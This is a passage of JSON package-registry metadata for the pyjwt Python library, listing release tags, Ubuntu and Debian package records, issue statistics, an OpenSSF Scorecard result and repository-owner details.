/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.119Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-23.04\u0026repository_url=https://launchpad.net/ubuntu/lunar","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-23.04","url":"https://launchpad.net/ubuntu/lunar","ecosystem":"ubuntu","default":false,"packages_count":36116,"maintainers_count":0,"namespaces_count":4,"keywords_count":1000,"github":"ubuntu","metadata":{"codename":"lunar","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":133},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:49.117Z","updated_at":"2026-06-10T05:17:49.008Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-23.04/namespaces"}},{"id":13600958,"name":"pyjwt","ecosystem":"debian","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T10:51:09.677Z","latest_release_published_at":"2026-02-11T10:51:09.677Z","latest_release_number":"1.7.0-2","last_synced_at":"2026-03-13T16:02:50.053Z","created_at":"2026-02-11T10:51:09.479Z","updated_at":"2026-05-29T04:00:36.144Z","registry_url":"https://tracker.debian.org/pkg/pyjwt","install_command":"apt-get install pyjwt","documentation_url":"https://packages.debian.org/buster/pyjwt","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python-jwt, python3-jwt","standards_version":"4.2.1","maintainer":"Debian Python Modules Team \u003cpython-modules-team@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 11), dh-python, python-all (\u003e= 2.7), python-cryptography (\u003e= 1.4), python-pytest (\u003e= 3.9.0), python-pytest-cov, python-pytest-runner, python-setuptools (\u003e= 0.6b3), python3-all, python3-cryptography (\u003e= 1.4), python3-pytest (\u003e= 3.9.0), python3-pytest-cov, python3-pytest-runner, python3-setuptools","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 